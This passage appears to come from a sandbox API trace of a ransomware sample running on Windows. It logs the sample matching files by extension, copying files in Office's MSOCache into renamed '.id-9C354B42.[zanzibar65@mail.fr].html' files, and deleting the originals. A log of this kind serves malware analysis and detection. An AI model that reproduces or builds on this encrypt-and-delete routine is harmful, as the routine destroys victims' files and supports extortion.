lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0035.397] lstrlenW (lpString=".doc") returned 4 [0035.397] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.398] lstrlenW (lpString=".docx") returned 5 [0035.398] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0035.398] lstrlenW (lpString=".pdf") returned 4 [0035.398] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.398] lstrlenW (lpString=".xls") returned 4 [0035.398] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.398] lstrlenW (lpString=".xlsx") returned 5 [0035.398] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0035.398] lstrlenW (lpString=".ppt") returned 4 [0035.398] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.398] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0035.398] lstrlenW (lpString=".zip") returned 4 [0035.398] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.398] lstrlenW (lpString=".rar") returned 4 [0035.398] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.398] lstrlenW (lpString=".bz2") returned 4 [0035.398] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.398] lstrlenW (lpString=".7z") returned 3 [0035.398] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.398] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0035.398] lstrlenW (lpString=".dbf") returned 4 [0035.398] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.398] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0035.398] lstrlenW (lpString=".1cd") returned 4 [0035.398] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.398] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0035.398] lstrlenW (lpString=".jpg") returned 4 [0035.398] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.398] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0035.398] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0035.398] lstrlenW (lpString=".doc") returned 4 [0035.398] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.398] lstrlenW (lpString=".docx") returned 5 [0035.399] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0035.399] lstrlenW (lpString=".pdf") returned 4 [0035.399] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.399] lstrlenW (lpString=".xls") returned 4 [0035.399] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.399] lstrlenW (lpString=".xlsx") returned 5 [0035.399] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0035.399] lstrlenW (lpString=".ppt") returned 4 [0035.399] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.399] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0035.399] lstrlenW (lpString=".zip") returned 4 [0035.399] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.399] lstrlenW (lpString=".rar") returned 4 [0035.399] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.399] lstrlenW (lpString=".bz2") returned 4 [0035.399] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.399] lstrlenW (lpString=".7z") returned 3 [0035.399] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.399] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0035.399] lstrlenW (lpString=".dbf") returned 4 [0035.399] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.399] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0035.399] lstrlenW (lpString=".1cd") returned 4 [0035.399] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.399] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0035.399] lstrlenW (lpString=".jpg") returned 4 [0035.399] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.399] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0035.399] lstrlenW (lpString="ProPlusrWW.xml") returned 14 [0035.400] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0035.750] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x21fff1c | out: lpFileSize=0x21fff1c*=16852) returned 1 [0035.750] CloseHandle (hObject=0x198) returned 1 [0035.750] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml")) returned 0x2020 [0035.750] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0035.750] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0035.750] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0035.750] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0035.751] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0035.751] GetLastError () returned 0x0 [0035.751] ReadFile (in: hFile=0x198, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x41d4, lpOverlapped=0x0) returned 1 [0035.752] WriteFile (in: hFile=0x178, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x41e0, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x41e0, lpOverlapped=0x0) returned 1 [0035.753] ReadFile (in: hFile=0x198, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0035.753] WriteFile (in: hFile=0x178, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xf0, lpOverlapped=0x0) returned 1 [0035.754] SetEndOfFile (hFile=0x178) returned 1 [0035.754] CloseHandle (hObject=0x178) returned 1 [0035.755] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0035.755] SetEndOfFile (hFile=0x198) returned 1 [0035.755] CloseHandle (hObject=0x198) returned 1 [0035.755] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0035.756] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml")) returned 1 [0035.756] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0035.756] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0035.756] lstrlenW (lpString=".doc") returned 4 [0035.756] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.756] lstrlenW (lpString=".docx") returned 5 [0035.756] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0035.756] lstrlenW (lpString=".pdf") returned 4 [0035.756] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.756] lstrlenW (lpString=".xls") returned 4 [0035.756] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.756] lstrlenW (lpString=".xlsx") returned 5 [0035.756] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0035.756] lstrlenW (lpString=".ppt") returned 4 [0035.756] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.756] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0035.756] lstrlenW (lpString=".zip") returned 4 [0035.756] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.756] lstrlenW (lpString=".rar") returned 4 [0035.756] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.756] lstrlenW (lpString=".bz2") returned 4 [0035.757] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.757] lstrlenW (lpString=".7z") returned 3 [0035.757] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.757] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0035.757] lstrlenW (lpString=".dbf") returned 4 [0035.757] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.757] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0035.757] lstrlenW (lpString=".1cd") returned 4 [0035.757] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.757] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0035.757] lstrlenW (lpString=".jpg") returned 4 [0035.757] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.757] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0035.757] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0035.757] lstrlenW (lpString=".doc") returned 4 [0035.757] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.757] lstrlenW (lpString=".docx") returned 5 [0035.757] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0035.757] lstrlenW (lpString=".pdf") returned 4 [0035.757] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.757] lstrlenW (lpString=".xls") returned 4 [0035.757] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.757] lstrlenW (lpString=".xlsx") returned 5 [0035.757] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0035.757] lstrlenW (lpString=".ppt") returned 4 [0035.757] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.757] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0035.757] lstrlenW (lpString=".zip") returned 4 [0035.757] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.757] lstrlenW (lpString=".rar") returned 4 [0035.757] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.757] lstrlenW (lpString=".bz2") returned 4 [0035.757] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.758] lstrlenW (lpString=".7z") returned 3 [0035.758] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.758] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0035.758] lstrlenW (lpString=".dbf") returned 4 [0035.758] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.758] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0035.758] lstrlenW (lpString=".1cd") returned 4 [0035.758] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.758] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0035.758] lstrlenW (lpString=".jpg") returned 4 [0035.758] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.758] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0035.758] lstrlenW (lpString="Setup.xml") returned 9 [0035.758] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0035.758] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x21fff1c | out: lpFileSize=0x21fff1c*=31094) returned 1 [0035.758] CloseHandle (hObject=0x198) returned 1 [0035.759] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0035.759] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0035.759] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0035.759] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0035.759] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0035.759] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0035.759] GetLastError () returned 0x0 [0035.759] ReadFile (in: hFile=0x198, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x7976, lpOverlapped=0x0) returned 1 [0035.761] WriteFile (in: hFile=0x178, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x7980, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x7980, lpOverlapped=0x0) returned 1 [0035.762] ReadFile (in: hFile=0x198, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0035.762] WriteFile (in: hFile=0x178, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xe6, lpOverlapped=0x0) returned 1 [0035.763] SetEndOfFile (hFile=0x178) returned 1 [0035.763] CloseHandle (hObject=0x178) returned 1 [0035.764] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0035.764] SetEndOfFile (hFile=0x198) returned 1 [0035.765] CloseHandle (hObject=0x198) returned 1 [0035.765] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0035.765] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0035.765] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.765] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.766] lstrlenW (lpString=".doc") returned 4 [0035.766] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.766] lstrlenW (lpString=".docx") returned 5 [0035.766] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0035.766] lstrlenW (lpString=".pdf") returned 4 [0035.766] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.766] lstrlenW (lpString=".xls") returned 4 [0035.766] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.766] lstrlenW (lpString=".xlsx") returned 5 [0035.766] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0035.766] lstrlenW (lpString=".ppt") returned 4 [0035.766] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.766] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.766] lstrlenW (lpString=".zip") returned 4 [0035.766] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.766] lstrlenW (lpString=".rar") returned 4 [0035.766] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.766] lstrlenW (lpString=".bz2") returned 4 [0035.766] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.766] lstrlenW (lpString=".7z") returned 3 [0035.766] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.766] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.766] lstrlenW (lpString=".dbf") returned 4 [0035.766] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.766] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.766] lstrlenW (lpString=".1cd") returned 4 [0035.766] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.766] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.766] lstrlenW (lpString=".jpg") returned 4 [0035.766] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.766] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.767] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.767] lstrlenW (lpString=".doc") returned 4 [0035.767] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.767] lstrlenW (lpString=".docx") returned 5 [0035.767] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0035.767] lstrlenW (lpString=".pdf") returned 4 [0035.767] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.767] lstrlenW (lpString=".xls") returned 4 [0035.767] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.767] lstrlenW (lpString=".xlsx") returned 5 [0035.767] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0035.767] lstrlenW (lpString=".ppt") returned 4 [0035.767] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.767] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.767] lstrlenW (lpString=".zip") returned 4 [0035.767] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.767] lstrlenW (lpString=".rar") returned 4 [0035.767] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.767] lstrlenW (lpString=".bz2") returned 4 [0035.767] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.767] lstrlenW (lpString=".7z") returned 3 [0035.767] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.767] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.767] lstrlenW (lpString=".dbf") returned 4 [0035.767] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.767] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.767] lstrlenW (lpString=".1cd") returned 4 [0035.767] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.767] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.767] lstrlenW (lpString=".jpg") returned 4 [0035.767] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.768] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0035.768] lstrlenW (lpString="Office32WW.xml") returned 14 [0035.768] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0035.769] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x21fff1c | out: lpFileSize=0x21fff1c*=4274) returned 1 [0035.769] CloseHandle (hObject=0x198) returned 1 [0035.769] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 0x2020 [0035.769] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0035.769] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0035.769] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0035.769] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0035.769] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0035.769] GetLastError () returned 0x0 [0035.769] ReadFile (in: hFile=0x198, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x10b2, lpOverlapped=0x0) returned 1 [0035.771] WriteFile (in: hFile=0x178, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x10c0, lpOverlapped=0x0) returned 1 [0035.772] ReadFile (in: hFile=0x198, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0035.772] WriteFile (in: hFile=0x178, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xf0, lpOverlapped=0x0) returned 1 [0035.772] SetEndOfFile (hFile=0x178) returned 1 [0035.772] CloseHandle (hObject=0x178) returned 1 [0035.772] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0035.772] SetEndOfFile (hFile=0x198) returned 1 [0035.773] CloseHandle (hObject=0x198) returned 1 [0035.773] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0035.773] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all 